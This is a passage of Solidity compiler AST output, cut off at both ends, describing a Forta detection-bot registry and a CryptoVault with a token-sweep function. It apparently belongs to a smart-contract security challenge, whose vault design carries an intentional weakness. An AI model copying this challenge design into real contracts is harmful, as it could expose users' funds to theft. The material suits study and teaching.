IDetectionBot)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51494,"nodeType":"UserDefinedTypeName","pathNode":{"id":51493,"name":"IDetectionBot","nameLocations":["666:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51471,"src":"666:13:71"},"referencedDeclaration":51471,"src":"666:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}},"visibility":"public"},{"id":51500,"nodeType":"VariableDeclaration","src":"712:50:71","nodes":[],"constant":false,"functionSelector":"dc702fa0","mutability":"mutable","name":"botRaisedAlerts","nameLocation":"747:15:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":51499,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51497,"name":"address","nodeType":"ElementaryTypeName","src":"720:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"712:27:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51498,"name":"uint256","nodeType":"ElementaryTypeName","src":"731:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":51516,"nodeType":"FunctionDefinition","src":"769:156:71","nodes":[],"body":{"id":51515,"nodeType":"Block","src":"841:84:71","nodes":[],"statements":[{"expression":{"id":51513,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51506,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"851:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51509,"indexExpression":{"expression":{"id":51507,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"870:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51508,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"874:6:71","memberName":"sender","nodeType":"MemberAccess","src":"870:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"851:30:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51511,"name":"detectionBotAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51502,"src":"898:19:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51510,"name":"IDetectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51471,"src":"884:13:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IDetectionBot_$51471_$","typeString":"type(contract IDetectionBot)"}},"id":51512,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"884:34:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"src":"851:67:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51514,"nodeType":"ExpressionStatement","src":"851:67:71"}]},"baseFunctions":[51476],"functionSelector":"9e927c68","implemented":true,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"778:15:71","overrides":{"id":51504,"nodeType":"OverrideSpecifier","overrides":[],"src":"832:8:71"},"parameters":{"id":51503,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51502,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"802:19:71","nodeType":"VariableDeclaration","scope":51516,"src":"794:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51501,"name":"address","nodeType":"ElementaryTypeName","src":"794:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"793:29:71"},"returnParameters":{"id":51505,"nodeType":"ParameterList","parameters":[],"src":"841:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51551,"nodeType":"FunctionDefinition","src":"931:259:71","nodes":[],"body":{"id":51550,"nodeType":"Block","src":"1003:187:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51534,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51526,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1025:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51528,"indexExpression":{"id":51527,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1044:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1025:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51525,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1017:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51524,"name":"address","nodeType":"ElementaryTypeName","src":"1017:7:71","typeDescriptions":{}}},"id":51529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1017:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51532,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1062:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51531,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1054:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51530,"name":"address","nodeType":"ElementaryTypeName","src":"1054:7:71","typeDescriptions":{}}},"id":51533,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1054:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1017:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51536,"nodeType":"IfStatement","src":"1013:60:71","trueBody":{"functionReturnParameters":51523,"id":51535,"nodeType":"Return","src":"1066:7:71"}},{"clauses":[{"block":{"id":51545,"nodeType":"Block","src":"1144:31:71","statements":[{"functionReturnParameters":51523,"id":51544,"nodeType":"Return","src":"1158:7:71"}]},"errorName":"","id":51546,"nodeType":"TryCatchClause","src":"1144:31:71"},{"block":{"id":51547,"nodeType":"Block","src":"1182:2:71","statements":[]},"errorName":"","id":51548,"nodeType":"TryCatchClause","src":"1176:8:71"}],"externalCall":{"arguments":[{"id":51541,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1129:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51542,"name":"msgData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51520,"src":"1135:7:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"baseExpression":{"id":51537,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1086:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51539,"indexExpression":{"id":51538,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1105:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1086:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51540,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1111:17:71","memberName":"handleTransaction","nodeType":"MemberAccess","referencedDeclaration":51470,"src":"1086:42:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51543,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1086:57:71","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51549,"nodeType":"TryStatement","src":"1082:102:71"}]},"baseFunctions":[51483],"functionSelector":"fa1fd28c","implemented":true,"kind":"function","modifiers":[],"name":"notify","nameLocation":"940:6:71","overrides":{"id":51522,"nodeType":"OverrideSpecifier","overrides":[],"src":"994:8:71"},"parameters":{"id":51521,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51518,"mutability":"mutable","name":"user","nameLocation":"955:4:71","nodeType":"VariableDeclaration","scope":51551,"src":"947:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51517,"name":"address","nodeType":"ElementaryTypeName","src":"947:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51520,"mutability":"mutable","name":"msgData","nameLocation":"976:7:71","nodeType":"VariableDeclaration","scope":51551,"src":"961:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51519,"name":"bytes","nodeType":"ElementaryTypeName","src":"961:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"946:38:71"},"returnParameters":{"id":51523,"nodeType":"ParameterList","parameters":[],"src":"1003:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51576,"nodeType":"FunctionDefinition","src":"1196:170:71","nodes":[],"body":{"id":51575,"nodeType":"Block","src":"1248:118:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51559,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1270:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51561,"indexExpression":{"id":51560,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51553,"src":"1289:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1270:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51558,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1262:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51557,"name":"address","nodeType":"ElementaryTypeName","src":"1262:7:71","typeDescriptions":{}}},"id":51562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1262:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"id":51563,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1299:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51564,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1303:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1299:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1262:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51567,"nodeType":"IfStatement","src":"1258:60:71","trueBody":{"functionReturnParameters":51556,"id":51566,"nodeType":"Return","src":"1311:7:71"}},{"expression":{"id":51573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51568,"name":"botRaisedAlerts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51500,"src":"1327:15:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":51571,"indexExpression":{"expression":{"id":51569,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1343:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51570,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1347:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1343:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1327:27:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"hexValue":"31","id":51572,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1358:1:71","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"1327:32:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":51574,"nodeType":"ExpressionStatement","src":"1327:32:71"}]},"baseFunctions":[51488],"functionSelector":"087a43c1","implemented":true,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"1205:10:71","overrides":{"id":51555,"nodeType":"OverrideSpecifier","overrides":[],"src":"1239:8:71"},"parameters":{"id":51554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51553,"mutability":"mutable","name":"user","nameLocation":"1224:4:71","nodeType":"VariableDeclaration","scope":51576,"src":"1216:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51552,"name":"address","nodeType":"ElementaryTypeName","src":"1216:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1215:14:71"},"returnParameters":{"id":51556,"nodeType":"ParameterList","parameters":[],"src":"1248:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":51490,"name":"IForta","nameLocations":["634:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":51489,"src":"634:6:71"},"id":51491,"nodeType":"InheritanceSpecifier","src":"634:6:71"}],"canonicalName":"Forta","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51577,51489],"name":"Forta","nameLocation":"625:5:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51645,"nodeType":"ContractDefinition","src":"1370:582:71","nodes":[{"id":51579,"nodeType":"VariableDeclaration","src":"1397:35:71","nodes":[],"constant":false,"functionSelector":"3234a197","mutability":"mutable","name":"sweptTokensRecipient","nameLocation":"1412:20:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51578,"name":"address","nodeType":"ElementaryTypeName","src":"1397:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51582,"nodeType":"VariableDeclaration","src":"1438:24:71","nodes":[],"constant":false,"functionSelector":"6f307dc3","mutability":"mutable","name":"underlying","nameLocation":"1452:10:71","scope":51645,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51581,"nodeType":"UserDefinedTypeName","pathNode":{"id":51580,"name":"IERC20","nameLocations":["1438:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1438:6:71"},"referencedDeclaration":47939,"src":"1438:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"public"},{"id":51592,"nodeType":"FunctionDefinition","src":"1469:80:71","nodes":[],"body":{"id":51591,"nodeType":"Block","src":"1500:49:71","nodes":[],"statements":[{"expression":{"id":51589,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51587,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1510:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51588,"name":"recipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51584,"src":"1533:9:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1510:32:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51590,"nodeType":"ExpressionStatement","src":"1510:32:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51585,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51584,"mutability":"mutable","name":"recipient","nameLocation":"1489:9:71","nodeType":"VariableDeclaration","scope":51592,"src":"1481:17:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51583,"name":"address","nodeType":"ElementaryTypeName","src":"1481:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1480:19:71"},"returnParameters":{"id":51586,"nodeType":"ParameterList","parameters":[],"src":"1500:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51617,"nodeType":"FunctionDefinition","src":"1555:167:71","nodes":[],"body":{"id":51616,"nodeType":"Block","src":"1606:116:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51606,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51600,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1632:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}],"id":51599,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1624:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51598,"name":"address","nodeType":"ElementaryTypeName","src":"1624:7:71","typeDescriptions":{}}},"id":51601,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1624:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51604,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1655:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51603,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1647:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51602,"name":"address","nodeType":"ElementaryTypeName","src":"1647:7:71","typeDescriptions":{}}},"id":51605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1647:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1624:33:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416c726561647920736574","id":51607,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1659:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""},"value":"Already set"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7e48b067d9657b74fa88865ffd84ee4954e27df98d359dfc75a722e1054131bc","typeString":"literal_string \"Already set\""}],"id":51597,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1616:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1616:57:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51609,"nodeType":"ExpressionStatement","src":"1616:57:71"},{"expression":{"id":51614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51610,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1683:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51612,"name":"latestToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51594,"src":"1703:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51611,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1696:6:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1696:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1683:32:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51615,"nodeType":"ExpressionStatement","src":"1683:32:71"}]},"functionSelector":"bdb2321f","implemented":true,"kind":"function","modifiers":[],"name":"setUnderlying","nameLocation":"1564:13:71","parameters":{"id":51595,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51594,"mutability":"mutable","name":"latestToken","nameLocation":"1586:11:71","nodeType":"VariableDeclaration","scope":51617,"src":"1578:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51593,"name":"address","nodeType":"ElementaryTypeName","src":"1578:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1577:21:71"},"returnParameters":{"id":51596,"nodeType":"ParameterList","parameters":[],"src":"1606:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51644,"nodeType":"FunctionDefinition","src":"1751:199:71","nodes":[],"body":{"id":51643,"nodeType":"Block","src":"1792:158:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"id":51626,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51624,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1810:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":51625,"name":"underlying","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51582,"src":"1819:10:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"src":"1810:19:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e","id":51627,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1831:33:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""},"value":"Can't transfer underlying token"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""}],"id":51623,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1802:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1802:63:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51629,"nodeType":"ExpressionStatement","src":"1802:63:71"},{"expression":{"arguments":[{"id":51633,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1890:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"id":51638,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1936:4:71","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}],"id":51637,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1928:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51636,"name":"address","nodeType":"ElementaryTypeName","src":"1928:7:71","typeDescriptions":{}}},"id":51639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1928:13:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51634,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1912:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51635,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1918:9:71","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1912:15:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns 